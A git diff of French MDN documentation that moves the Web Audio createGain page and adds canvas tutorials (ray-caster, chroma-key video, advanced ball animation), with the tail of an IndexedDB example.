-    // $.ajax({
-    //   url: url,
-    //   type: 'GET',
-    //   xhrFields: { responseType: 'blob' },
-    //   success: function(data, textStatus, jqXHR) {
-    //     console.log("Blob retrieved");
-    //     console.log("Blob:", data);
-    //     // addPublication(biblioid, title, year, data);
-    //   },
-    //   error: function(jqXHR, textStatus, errorThrown) {
-    //     console.error(errorThrown);
-    //     displayActionFailure("Error during blob retrieval");
-    //   }
-    // });
-  }
-
-  /**
-   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
-   * @paramètre {string} (chaîne de caractères) title (titre)
-   * @paramètre {number} (nombre) year (année)
-   * @paramètre {Blob=} blob
-   */
-  function addPublication(biblioid, title, year, blob) {
-    console.log("addPublication arguments:", arguments);
-    var obj = { biblioid: biblioid, title: title, year: year };
-    if (typeof blob != 'undefined')
-      obj.blob = blob;
-
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
-    var req;
-    try {
-      req = store.add(obj);
-    } catch (e) {
-      if (e.name == 'DataCloneError')
-        displayActionFailure("This engine doesn't know how to clone a Blob, " +
-                             "use Firefox");
-      throw e;
-    }
-    req.onsuccess = function (evt) {
-      console.log("Insertion in DB successful");
-      displayActionSuccess();
-      displayPubList(store);
-    };
-    req.onerror = function() {
-      console.error("addPublication error", this.error);
-      displayActionFailure(this.error);
-    };
-  }
-
-  /**
-   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
-   */
-  function deletePublicationFromBib(biblioid) {
-    console.log("deletePublication:", arguments);
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
-    var req = store.index('biblioid');
-    req.get(biblioid).onsuccess = function(evt) {
-      if (typeof evt.target.result == 'undefined') {
-        displayActionFailure("No matching record found");
-        return;
-      }
-      deletePublication(evt.target.result.id, store);
-    };
-    req.onerror = function (evt) {
-      console.error("deletePublicationFromBib:", evt.target.errorCode);
-    };
-  }
-
-  /**
-   * @paramètre {number} (nombre) key (clé)
-   * @paramètre {IDBObjectStore=} store (objet de stockage)
-   */
-  function deletePublication(key, store) {
-    console.log("deletePublication:", arguments);
-
-    if (typeof store == 'undefined')
-      store = getObjectStore(DB_STORE_NAME, 'readwrite');
-
-    // Selon les spécifications http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
-    // le résultat de l'objet de stockage, l'algorithme de l'opération de suppression est
-    // "undefined" (indéfini), donc il n'est pas possible de savoir si certains enregistrements
-    // ont été effectivement supprimés en lisant le résultat de la requête.
-    var req = store.get(key);
-    req.onsuccess = function(evt) {
-      var record = evt.target.result;
-      console.log("record:", record);
-      if (typeof record == 'undefined') {
-        displayActionFailure("No matching record found");
-        return;
-      }
-      // Attention:  La même clé utilisée pour la création doit être transmise pour 
-      // la suppression.  Si la clé était un nombre pour la création, elle doit
-      // être un nombre pour la suppression.
-      req = store.delete(key);
-      req.onsuccess = function(evt) {
-        console.log("evt:", evt);
-        console.log("evt.target:", evt.target);
-        console.log("evt.target.result:", evt.target.result);
-        console.log("delete successful");
-        displayActionSuccess("Deletion successful");
-        displayPubList(store);
-      };
-      req.onerror = function (evt) {
-        console.error("deletePublication:", evt.target.errorCode);
-      };
-    };
-    req.onerror = function (evt) {
-      console.error("deletePublication:", evt.target.errorCode);
-      };
-  }
-
-  function displayActionSuccess(msg) {
-    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
-    $('#msg').html('<span class="action-success">' + msg + '</span>');
-  }
-  function displayActionFailure(msg) {
-    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
-    $('#msg').html('<span class="action-failure">' + msg + '</span>');
-  }
-  function resetActionStatus() {
-    console.log("resetActionStatus ...");
-    $('#msg').empty();
-    console.log("resetActionStatus DONE");
-  }
-
-  function addEventListeners() {
-    console.log("addEventListeners");
-
-    $('#register-form-reset').click(function(evt) {
-      resetActionStatus();
-    });
-
-    $('#add-button').click(function(evt) {
-      console.log("add ...");
-      var title = $('#pub-title').val();
-      var biblioid = $('#pub-biblioid').val();
-      if (!title || !biblioid) {
-        displayActionFailure("Required field(s) missing");
-        return;
-      }
-      var year = $('#pub-year').val();
-      if (year != '') {
-        // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
-        if (isNaN(year))  {
-          displayActionFailure("Invalid year");
-          return;
-        }
-        year = Number(year);
-      } else {
-        year = null;
-      }
-
-      var file_input = $('#pub-file');
-      var selected_file = file_input.get(0).files[0];
-      console.log("selected_file:", selected_file);
-      // Garder une référence sur la façon de réinitialiser l'entrée du fichier dans l'interface
-      // utilisateur une fois que nous avons sa valeur, mais au lieu de faire cela nous utiliserons
-      // plutôt un type "reset" entré dans le formulaire HTML .
-      // file_input.val(null);
-      var file_url = $('#pub-file-url').val();
-      if (selected_file) {
-        addPublication(biblioid, title, year, selected_file);
-      } else if (file_url) {
-        addPublicationFromUrl(biblioid, title, year, file_url);
-      } else {
-        addPublication(biblioid, title, year);
-      }
-
-    });
-
-    $('#delete-button').click(function(evt) {
-      console.log("delete ...");
-      var biblioid = $('#pub-biblioid-to-delete').val();
-      var key = $('#key-to-delete').val();
-
-      if (biblioid != '') {
-        deletePublicationFromBib(biblioid);
-      } else if (key != '') {
-        // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
-        if (key == '' || isNaN(key))  {
-          displayActionFailure("Invalid key");
-          return;
-        }
-        key = Number(key);
-        deletePublication(key);
-      }
-    });
-
-    $('#clear-store-button').click(function(evt) {
-      clearObjectStore();
-    });
-
-    var search_button = $('#search-list-button');
-    search_button.click(function(evt) {
-      displayPubList();
-    });
-
-  }
-
-  openDb();
-  addEventListeners();
-
-})(); // Immediately-Invoked Function Expression (IIFE)
- -

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

- -

Voir aussi

- -

Référence :

- - - -

Tutoriels :

- - - -

Bibliothèques :

- -
    -
  • localForage : Un Polyfill qui fournit un nom simple : la syntaxe de valeur pour le stockage de données côté client, qui utilise IndexedDB en arrière-plan, mais retourne à WebSQL puis à localStorage pour les navigateurs qui ne prennent pas en charge IndexedDB.
    • -
  • dexie.js : Une enveloppe pour IndexedDB qui permet un développement de code beaucoup plus rapide grâce à une syntaxe simple et agréable.
    • -
  • ZangoDB : Un MongoDB-like interface pour IndexedDB qui prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de MongoDB.
    • -
  • JsStore : Une enveloppe d'IndexedDB simple et avancée ayant une syntaxe SQL.
    • -
diff --git a/files/fr/web/api/audiocontext/creategain/index.html b/files/fr/web/api/audiocontext/creategain/index.html deleted file mode 100644 index b9142efffc..0000000000 --- a/files/fr/web/api/audiocontext/creategain/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: AudioContext.createGain() -slug: Web/API/AudioContext/createGain -tags: - - API - - Audio - - AudioContext - - Contrôle du volume - - Méthode - - Son - - Volume - - Web Audio - - createGain -translation_of: Web/API/BaseAudioContext/createGain ---- -

{{ APIRef("Web Audio API") }}

- -
-

La méthode createGain de l'interface {{ domxref("AudioContext") }} crée un {{ domxref("GainNode") }} qui peut être utilisé pour contrôler le volume global du graphe audio.

-
- -

Syntaxe

- -
var contexteAudio = new AudioContext();
-var gainNode = contexteAudio.createGain();
- -

Retourne

- -

Un {{domxref("GainNode")}} qui prend en entrée une ou plusieurs sources audio et en sortie un son dont le volume a été ajusté à un niveau indiqué par le paramètre de type a-rate {{domxref("GainNode.gain")}}.

- -

Exemple

- -

L'exemple suivant montre l'utilisation d'un {{domxref("AudioContext")}} pour créer un {{ domxref("GainNode") }}, qui sert à activer et désactiver le son au clic d'un bouton, en changeant la valeur de la propriété gain.
-
- L'extrait de code ci-dessous ne fonctionne pas tel quel - pour un exemple complet qui fonctionne, consulter la démo Voice-change-O-matic (et son code source.)

- -
<div>
-  <button class="boutonson">Mute button</button>
-</div>
- -
var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
-var gainNode = contexteAudio.createGain();
-var boutonSon = document.querySelector('.boutonson'),
-    source;
-
-if (navigator.getUserMedia) {
-  navigator.getUserMedia (
-    // contraintes - cette app nécessite seulement l'audio
-    {
-       audio: true
-    },
-    // fonction de rappel en cas de succès
-    function (flux) {
-        source = contexteAudio.createMediaStreamSource(flux);
-    },
-    // fonction de rappel en cas d'erreur
-    function (erreur) {
-        console.log("L'erreur à la noix suivante vient de se produire : " + erreur);
-    });
-}
-else {
-    console.log("getUserMedia n'est pas supporté par votre navigateur !");
-}
-
-source.connect(gainNode);
-gainNode.connect(contexteAudio.destination);
-
-  ...
-
-boutonSon.onclick = couperSon;
-
-function couperSon () {
-    if (boutonSon.id == "") {
-        gainNode.gain.value = 0;
-        boutonSon.id = "activated";
-        boutonSon.innerHTML = "Activer le son";
-    }
-    else {
-        gainNode.gain.value = 1;
-        boutonSon.id = "";
-        boutonSon.innerHTML = "Couper le son";
-    }
-}
- -

Spécification

- - - - - - - - - - - - - - -
SpécificationStatusCommentaire
{{SpecName('Web Audio API', '#widl-AudioContext-createGain-GainNode', 'createGain()')}}{{Spec2('Web Audio API')}} 
- -

Compatibilité navigateur

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)		6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Support basique{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

 

- -

Voir aussi

- - diff --git a/files/fr/web/api/baseaudiocontext/creategain/index.html b/files/fr/web/api/baseaudiocontext/creategain/index.html new file mode 100644 index 0000000000..b9142efffc --- /dev/null +++ b/files/fr/web/api/baseaudiocontext/creategain/index.html @@ -0,0 +1,167 @@ +--- +title: AudioContext.createGain() +slug: Web/API/AudioContext/createGain +tags: + - API + - Audio + - AudioContext + - Contrôle du volume + - Méthode + - Son + - Volume + - Web Audio + - createGain +translation_of: Web/API/BaseAudioContext/createGain +--- +

{{ APIRef("Web Audio API") }}

+ +
+

La méthode createGain de l'interface {{ domxref("AudioContext") }} crée un {{ domxref("GainNode") }} qui peut être utilisé pour contrôler le volume global du graphe audio.

+
+ +

Syntaxe

+ +
var contexteAudio = new AudioContext();
+var gainNode = contexteAudio.createGain();
+ +

Retourne

+ +

Un {{domxref("GainNode")}} qui prend en entrée une ou plusieurs sources audio et en sortie un son dont le volume a été ajusté à un niveau indiqué par le paramètre de type a-rate {{domxref("GainNode.gain")}}.

+ +

Exemple

+ +

L'exemple suivant montre l'utilisation d'un {{domxref("AudioContext")}} pour créer un {{ domxref("GainNode") }}, qui sert à activer et désactiver le son au clic d'un bouton, en changeant la valeur de la propriété gain.
+
+ L'extrait de code ci-dessous ne fonctionne pas tel quel - pour un exemple complet qui fonctionne, consulter la démo Voice-change-O-matic (et son code source.)

+ +
<div>
+  <button class="boutonson">Mute button</button>
+</div>
+ +
var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var gainNode = contexteAudio.createGain();
+var boutonSon = document.querySelector('.boutonson'),
+    source;
+
+if (navigator.getUserMedia) {
+  navigator.getUserMedia (
+    // contraintes - cette app nécessite seulement l'audio
+    {
+       audio: true
+    },
+    // fonction de rappel en cas de succès
+    function (flux) {
+        source = contexteAudio.createMediaStreamSource(flux);
+    },
+    // fonction de rappel en cas d'erreur
+    function (erreur) {
+        console.log("L'erreur à la noix suivante vient de se produire : " + erreur);
+    });
+}
+else {
+    console.log("getUserMedia n'est pas supporté par votre navigateur !");
+}
+
+source.connect(gainNode);
+gainNode.connect(contexteAudio.destination);
+
+  ...
+
+boutonSon.onclick = couperSon;
+
+function couperSon () {
+    if (boutonSon.id == "") {
+        gainNode.gain.value = 0;
+        boutonSon.id = "activated";
+        boutonSon.innerHTML = "Activer le son";
+    }
+    else {
+        gainNode.gain.value = 1;
+        boutonSon.id = "";
+        boutonSon.innerHTML = "Couper le son";
+    }
+}
+ +

Spécification

+ + + + + + + + + + + + + + +
SpécificationStatusCommentaire
{{SpecName('Web Audio API', '#widl-AudioContext-createGain-GainNode', 'createGain()')}}{{Spec2('Web Audio API')}} 
+ +

Compatibilité navigateur

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Support basique{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

 

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/canvas_api/a_basic_ray-caster/index.html b/files/fr/web/api/canvas_api/a_basic_ray-caster/index.html new file mode 100644 index 0000000000..b729a42222 --- /dev/null +++ b/files/fr/web/api/canvas_api/a_basic_ray-caster/index.html @@ -0,0 +1,52 @@ +--- +title: Un raycaster basique avec canvas +slug: Un_raycaster_basique_avec_canvas +tags: + - 3D + - Canvas + - Exemples + - Graphismes + - Web +translation_of: Web/API/Canvas_API/A_basic_ray-caster +--- +

{{CanvasSidebar}}

+ +

Cet article fournit un exemple intéressant concret d'utilisation de l'élément {{HTMLElement("canvas")}} pour faire un logiciel rendant un environnement 3D à l'aide de la projection de rayons.

+ +

{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}

+ +

Ouvrir une nouvelle fenêtre

+ +

Pourquoi ?

+ +

Après avoir réalisé, à mon plus grand plaisir, que le sympathique élément <canvas> dont j'avais entendu parler (en), non seulement allait être supporté par Firefox, mais était déjà supporté dans la version actuelle de Safari, je me devais de tenter une petite expérience.

+ +

La présentation et le tutoriel canvas que j'ai trouvé ici sur MDC sont excellents, mais personne n'a encore rien écrit sur l'animation, j'ai donc pensé porter un "raycaster" basique sur lequel j'avais travaillé il y a quelque temps, et voir quelle sorte de performance nous pouvions attendre d'un tampon de pixel écrit en JavaScript.

+ +

Comment ?

+ +

L'idée de base est d'employer {{domxref("window.setInterval","setInterval()")}} à intervalle régulier, correspondant au taux de trame désiré. Après chaque intervalle, une fonction de mise à jour redessine le canvas, affichant la vue actuelle. Je sais que j'aurais pu commencer avec un exemple plus simple, mais je suis sûr que le tutoriel canvas va y conduire, et je voulais voir si je pouvais y arriver.

+ +

Donc, à chaque mise à jour, le projeteur de rayons vérifie si vous avez pressé une touche récemment, pour s'éviter des calculs si vous êtes immobile. S'il y a eu un mouvement, le canvas est effacé, le ciel et le sol sont dessinés, la position et l'orientation de la caméra corrigées et les rayons projetés. Lorsque les rayons rencontrent un mur, ils créent une bandelette verticale de canvas de la couleur du mur qu'ils ont touché, mélangée à une nuance plus sombre de cette couleur en fonction de la distance au mur. La hauteur de la bandelette est modulée par la distance entre le mur et la caméra, et la bandelette est dessinée centrée sur la ligne d'horizon.

+ +

Le code que j'ai obtenu est l'amalgame des chapitres "raycaster" d'un vieux livre d'André Lamothe Tricks of the Game Programming Gurus (ISBN: 0672305070), et d'un Projeteur de rayons Java que j'ai trouvé en ligne, modifié par mon besoin compulsif de tout renommer pour que cela ait un sens pour moi, et pour tout le bricolage nécessaire pour que l'ensemble fonctionne bien.

+ +

Résultats

+ +

Le canvas dans Safari 2.0.1 a étonnement bien marché. Avec le facteur de bloc-itude poussé pour rendre des bandelettes de 8 pixels de largeur, j'arrive à faire tourner une fenêtre en 320 x 240 à 24 images/seconde sur mon Apple mini. Firefox 1.5 Beta 1 est encore plus rapide, j'obtiens 24 images/seconde sur la fenêtre de 320 x 240 avec des bandelettes de 4 pixels. Pas vraiment un nouveau membre de la famille "ID software", mais plutôt décent si l'on considère qu'il s'agit d'un environnement entièrement interprété, et que je n'ai eu à m'inquiéter ni de l'allocation mémoire, ni des modes vidéos, ni de coder les routines centrales en assembleur, ni de quoi que soit d'autre. Le code cherche à être très efficace, consultant un tableau de valeurs précalculées, mais je ne suis pas un dieu de l'optimisation, donc les choses pourraient probablement être écrites plus rapidement.

+ +

De plus, il laisse beaucoup à désirer en tant que tentative d'une espèce de moteur de jeu— il n'y a pas de textures sur les murs, pas de sprites, pas de portes, même pas de téléporteurs pour passer à un autre niveau. Je suis cependant presque certain que toutes ces choses peuvent être intégrées pourvu qu'on en prenne le temps. L' API de canvas supporte la copie d'images par pixel, donc les textures semblent possibles. Je laisse ça pour un autre article, probablement d'une autre personne. =)

+ +

Le projeteur de rayons (ray-caster)

+ +

De sympathiques personnes ici ont copié mes fichiers manuellement pour que vous puissiez y jeter un coup d'oeil, et pour votre plaisir, j'ai posté le contenu de chacun des fichiers sous la forme de listings de code (voir plus bas).

+ +

Vous y voici donc, lancez Safari 1.3+, Firefox 1.5+ ou un autre navigateur supportant l'élément <canvas> et amusez-vous!
+
+ input.js | Level.js | Player.js | RayCaster.html | RayCaster.js | trace.css | trace.js

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.html b/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.html new file mode 100644 index 0000000000..8a95281220 --- /dev/null +++ b/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.html @@ -0,0 +1,158 @@ +--- +title: Manipulation vidéo avec la balise canvas +slug: HTML/Manipulating_video_using_canvas +tags: + - Canvas + - Video +translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas +--- +

{{CanvasSidebar}}

+ +

En combinant les possibilités de l'élément video avec celles de l'élément canvas, vous pouvez manipuler les données vidéos en temps réel, et y incorporer une variété d'effets visuels. Ce tutoriel explique comment réaliser un travail d'incrustation "chroma-keying" (fond vert) en utilisant JavaScript.

+ +

Voir l'exemple.

+ +

Le contenu du document

+ +

Le document XHTML utilisé pour rendre ce contenu est montré ci-dessous :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <style>
+      body {
+        background: black;
+        color:#CCCCCC;
+      }
+      #c2 {
+        background-image: url(foo.png);
+        background-repeat: no-repeat;
+      }
+      div {
+        float: left;
+        border :1px solid #444444;
+        padding:10px;
+        margin: 10px;
+        background:#3B3B3B;
+      }
+    </style>
+    <script type="text/javascript" src="main.js"></script>
+  </head>
+
+  <body onload="processor.doLoad()">
+    <div>
+      <video id="video" src="video.ogv" controls="true"/>
+    </div>
+    <div>
+      <canvas id="c1" width="160" height="96"></canvas>
+      <canvas id="c2" width="160" height="96"></canvas>
+    </div>
+  </body>
+</html>
+ +

Les éléments clés à retenir sont :

+ +
    +
  1. Ce document dispose de deux balises canvas, avec les IDs c1 et c2 : l'élément c1 est utilisé pour afficher l'image courante de la vidéo originale, pendant que c2 est utilisé pour afficher la vidéo après application de l'effet d'incrustation ; c2 est préchargé avec la même image que celle qui sera utilisée pour le remplacement du fond vert.
    2. +
  2. Le code JavaScript est importé dans le script nommé main.js ; Ce script utilise les fonctionnalités propres à la version 1.8, aussi cette version est précisée, à la ligne 22, quand le script est importé.
    3. +
  3. Quand le document se charge, la méthode processor.doLoad(), dans le script main.js, est exécutée.
    4. +
+ +

Le code JavaScript

+ +

Le code JavaScript main.js est composé de trois méthodes.

+ +

Initialisation du lecteur avec effet d'incrustation (chroma-key)

+ +

La métode doLoad() est appelée quand le document XHTML se charge. Cette méthode sert à initialiser chaque variable nécessaire au code traitant l'incrustation (chroma-key), ainsi qu'à associer un écouteur d'évènement qui détectera le moment où l'utilisateur lancera la vidéo.

+ +
var processor;
+
+  processor.doLoad = function doLoad() {
+    this.video = document.getElementById('video');
+    this.c1 = document.getElementById('c1');
+    this.ctx1 = this.c1.getContext('2d');
+    this.c2 = document.getElementById('c2');
+    this.ctx2 = this.c2.getContext('2d');
+    let self = this;
+    this.video.addEventListener('play', function() {
+        self.width = self.video.videoWidth / 2;
+        self.height = self.video.videoHeight / 2;
+        self.timerCallback();
+      }, false);
+  },
+ +

Le code récupère les références aux élément XHTML qui nous intéressent, à savoir l'élément video et les deux éléments canvas. Il définit également les contextes graphique de chacun des éléments canvas. Ce sera utile pour la suite, lorsque nous créerons l'effet d'incrustation.

+ +

Ensuite, l'écouteur d'évènement addEventListener() est appelé sur l'élément video pour détecter le moment où l'utilisateur va cliquer sur le bouton de lecture. Dès lors, le code récupère la hauteur et la largeur de la vidéo, que l'on divise par deux (nécessaire pour plus tard effectuer l'effet d'incrustation), puis on appelle la méthode timerCallback() pour surveiller l'avancement de la vidéo et appliquer l'effet visuel.

+ +

Le rappel du minuteur

+ +

Le rappel du minuteur est initialisé lorsque la vidéo commence à jouer (lorsque l'événement "play" se produit), puis est chargé d'établir le rappel périodique afin de lancer l'effet d'ajustement pour chaque "frame".

+ +
processor.timerCallback = function timerCallback() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    let self = this;
+    setTimeout(function() {
+        self.timerCallback();
+      }, 0);
+  },
+ +

La première chose que le rappel fait est de vérifier si la vidéo est en train de jouer. Si ce n'est pas le cas, le rappel revient immédiatement sans rien faire.

+ +

Ensuite, il appelle la méthode computeFrame(), qui effectue l'effet "chroma-keying" sur l'image vidéo en cours.

+ +

La dernière chose que fait le rappel est d'appeler setTimeout() pour programmer  un nouvel appel. En réalité, vous planifierez probablement cela en fonction de la connaissance de la fréquence d'images de la vidéo.

+ +

Manipulation des données des images vidéo

+ +

La méthode computeFrame() , présentée ci-dessous, est en charge de récupérer les données de chaque image et d'y appliquer l'effet d'incrustation.

+ +
processor.computeFrame = function computeFrame() {
+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    let l = frame.data.length / 4;
+
+    for (let i = 0; i < l; i++) {
+      let r = frame.data[i * 4 + 0];
+      let g = frame.data[i * 4 + 1];
+      let b = frame.data[i * 4 + 2];
+      if (g > 100 && r > 100 && b < 43)
+        frame.data[i * 4 + 3] = 0;
+    }
+    this.ctx2.putImageData(frame, 0, 0);
+    return;
+  }
+ +

²

+ +

Quand la routine est appelée, l'élément vidéo affiche les données de la plus récente image de la vidéo, ce qui ressemble à :

+ +

video.png

+ +

À la seconde ligne, cette image est copiée dans le contexte graphique ctx1 du premier élément canvas, en spécifiant ses hauteur et largeur, définies plus tôt (soit, réduites de moitié). Notez que c'est très simplement que vous passez les données de l'élément vidéo à afficher dans le contexte graphique avec la méthode drawImage(). Voici ce que cela donne :

+ +

sourcectx.png

+ +

La ligne 3 extrait une copie des données graphiques brutes pour l'image courante de la vidéo en appelant la méthode getImageData() sur le premier contexte. Cela fournit des données brutes d'image pixel 32 bits que nous pouvons ensuite manipuler. La ligne 4 calcule le nombre de pixels de l'image en divisant la taille totale des données d'image du cadre par quatre.

+ +

La boucle for, qui commence à la ligne 6, parcourt les pixels du cadre  en extrayant les valeurs rouges, vertes et bleues de chaque pixel et compare les valeurs aux nombres prédéterminés utilisés pour détecter l'écran vert qui sera remplacé par l'image de fond importée de foo.png.

+ +

Chaque pixel dans les données d'image, qui se trouve dans les paramètres considérés comme faisant partie de l'écran vert, a sa valeur alpha remplacée par un zéro, indiquant que le pixel est entièrement transparent. En conséquence, l'image finale a toute la zone d'écran vert 100% transparente, de sorte que lorsqu'elle est dessinée dans le contexte de destination à la ligne 13, le résultat est une superposition sur la toile de fond statique.

+ +

L'image résultante ressemble à ceci :

+ +

output.png

+ +

Cela se fait de façon répétée au fur et à mesure que la vidéo est lue, de sorte que, image après image, la vidéo est traitée et affichée avec l'effet de chrominance.

+ +

Voyez cet exemple réel.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.html new file mode 100644 index 0000000000..fadf515090 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -0,0 +1,376 @@ +--- +title: Animations avancées +slug: Web/API/Canvas_API/Tutoriel_canvas/Advanced_animations +translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations +--- +
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}
+ +
+

Dans le dernier chapitre, nous avons réalisé des animations basiques et avons appris comment faire en sorte que les éléments se déplacent. Dans cette partie, nous allons regarder de prêt le mouvement lui-même et ajouter un peu de physique afin de réaliser nos animations avancées.

+
+ +

Dessinons une balle

+ +

Nous allons utiliser une balle pour étudier les animations. Ainsi, Commençons par dessiner notre balle au sein du canevas.

+ +
<canvas id="canvas" width="600" height="300"></canvas>
+
+ +

Comme d'habitude, nous avons tout d'abord besoin de dessiner le contexte. Pour dessiner la balle, nous allons créer un objet ball contenant des propriétés et une méthode draw() afin de la placer sur le canevas.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();
+ +

Il n'y a rien de spécial ici, la balle est pour le moment un simple cercle qui est dessiné à l'aide de la méthode {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.

+ +

Ajout de la vitesse

+ +

Maintenant que nous avons une balle, nous sommes prêts à ajouter une animation simple comme nous avons pu le voir dans le dernier chapitre de ce tutoriel. Une fois encore, {{domxref("window.requestAnimationFrame()")}} nous aide à contrôler l'animation. Il est possible de déplacer la balle en ajoutant un vecteur de vitesse à la position. Pour chaque "frame", nous avons aussi {{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}} (nettoyé) les canvas pour supprimer les anciens cercles des "frames" précédents.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+
+ +

Limites

+ +

Si aucun test de collision n'est effectué, notre balle sort hors du canevas rapidement. Nous avons ici besoin de vérifier si les positions x et y de la balle sont hors des dimensions du canevas et si c'est le cas, d'inverser la direction des vecteurs de vitesse. Pour faire cela, nous ajoutons les vérifications suivantes à la méthode draw :

+ +
if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+  ball.vx = -ball.vx;
+}
+ +

Première demo

+ +

Voyons voir ce que cela donne. Déplacez votre souris dans le canevas pour commencer l'animation :

+ + + +

{{EmbedLiveSample("Première_demo", "610", "310")}}

+ +

Accélération

+ +

Afin d'obtenir un mouvement plus réel, vous pouvez jouer sur la vitesse, par exemple :

+ +
ball.vy *= .99;
+ball.vy += .25;
+ +

Ceci ralentit la vitesse verticale à chaque rendu d'image de sorte que la balle va rebondir de moins en moins haut.

+ + + +

{{EmbedLiveSample("Second_demo", "610", "310")}}

+ +

Effet de traînée

+ +

Jusqu'à maintenant, nous avons utilisé la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}} pour effacer les images précédentes. En la remplaçant par la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} et en utilisant un remplissage semi-transparent, on obtient un effet de traînée.

+ +
ctx.fillStyle = 'rgba(255,255,255,0.3)';
+ctx.fillRect(0,0,canvas.width,canvas.height);
+ + + +

{{EmbedLiveSample("Third_demo", "610", "310")}}

+ +

Ajout d'un contrôle de souris

+ +

Afin d'obtenir quelques contrôles sur la balle, nous pouvons faire suivre notre souris en utilisant l'événement mousemove, par exemple. L'événement click relâche la balle et la laisse rebondir à nouveau.

+ + + +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255,255,255,0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+    ball.vy = -ball.vy;
+  }
